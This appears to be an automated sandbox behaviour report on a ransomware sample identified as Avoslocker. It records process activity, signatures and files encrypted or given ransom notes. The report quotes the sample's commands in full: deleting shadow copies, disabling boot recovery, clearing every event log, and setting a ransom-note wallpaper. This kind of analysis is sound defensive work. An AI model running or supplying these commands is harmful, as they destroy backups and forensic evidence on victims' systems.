PID 2536 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2600 wrote to memory of 952 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2600 wrote to memory of 952 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2600 wrote to memory of 952 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 1924 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2596 wrote to memory of 1924 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2596 wrote to memory of 1924 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2540 wrote to memory of 1428 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2540 wrote to memory of 1428 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2540 wrote to memory of 1428 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2908 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2908 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2908 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2908 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4572 wrote to memory of 5152 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4572 wrote to memory of 5152 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4572 wrote to memory of 5152 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4572 wrote to memory of 896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 4572 wrote to memory of 896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 4572 wrote to memory of 896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe

"C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe"

C:\Windows\system32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\system32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1596118546.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

N/A

Files

memory/2908-0-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2908-4-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2908-5-0x0000000000401000-0x000000000049D000-memory.dmp

memory/2908-9-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2908-8-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2908-7-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2908-6-0x0000000000290000-0x0000000000291000-memory.dmp

memory/2908-3-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2908-2-0x0000000000240000-0x0000000000283000-memory.dmp

memory/2908-1-0x0000000000400000-0x00000000004E5000-memory.dmp

F:\GET_YOUR_FILES_BACK.txt

MD5 6d81ed40ba0a283e5483bfe6a448e9d7
SHA1 0c847a5f9df743b13e1aa11b4c24a4309e9a7119
SHA256 b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d
SHA512 8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

memory/952-1152-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

memory/952-1238-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

memory/2908-15328-0x0000000000400000-0x00000000004E5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L0DEU2HOR54G1IXRMBJ7.temp

MD5 478c6987d0a47723aba184402fd19ba5
SHA1 c2d6efa45da8392da8bb4d770d4a6b638b32ea19
SHA256 818037500ed15d5da9b9777d203c89ecababad480ed5ef374e7325b3faff5fe7
SHA512 11456882ac4f1a8334b25684ffaffdb04e34e157451dc08e578e2908f6b91c54ac540f96f675b2cea15b362d594ba096e646a11d1113c6ad3de948427d6837aa

memory/2908-24597-0x0000000000401000-0x000000000049D000-memory.dmp

memory/2908-24596-0x0000000000240000-0x0000000000283000-memory.dmp

memory/2908-24595-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/4572-24603-0x000000001B570000-0x000000001B852000-memory.dmp

memory/4572-24604-0x00000000022D0000-0x00000000022D8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-30 03:38

Reported

2024-05-30 03:41

Platform

win10v2004-20240508-en

Max time kernel

125s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8453) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2076628678.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fi-fi\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeStudent2019R_Trial-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Common Files\Microsoft Shared\TextConv\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\pmd.cer C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Generic-Dark.scale-125.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Common Files\System\msadc\it-IT\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-cn\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\editvideoimage.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nb-no\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\VideoLAN\VLC\plugins\video_splitter\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Word2019R_Grace-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyStateCCFiles_280x192.svg C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-64.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\XLSTART\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\LogoImages\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_SubTrial2-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hr-hr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_proxy\identity_helper.Sparse.Canary.msix C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\PlayStore_icon.svg C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main-selector.css C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Trial-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Notifications\SoftLandingAssetLight.gif C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\es-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nl-nl\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailBadge.scale-400.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalR_Grace-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\close.svg C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Templates\1033\OriginResume.Dotx C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\Library\SOLVER\SOLVER.XLAM C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Google\Chrome\Application\110.0.5481.104\Locales\sr.pak C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\sm\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\dd_arrow_small.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\app\dev\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-GoogleCloudCacheMini.scale-125.png C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_Retail-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_Grace-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskpred\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sv_get.svg C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000006\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\Bibliography\Author2XML.XSL C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Canary.msix.DATA C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\ink\es-ES\TipTsf.dll.mui C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\comdll.X.manifest C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\en-ae\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects\Glow Edge.eftx C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ar.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File created C:\Program Files (x86)\Common Files\System\ja-JP\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageProviderFunctions.psm1 C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART14.BDR C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Excel2019VL_KMS_Client_AE-ul.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest4-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\joni.md C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\fd0c1a35cc4ac399e015dab9a976dc3ed835d64cd96e1730f110249a74fd67bb.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
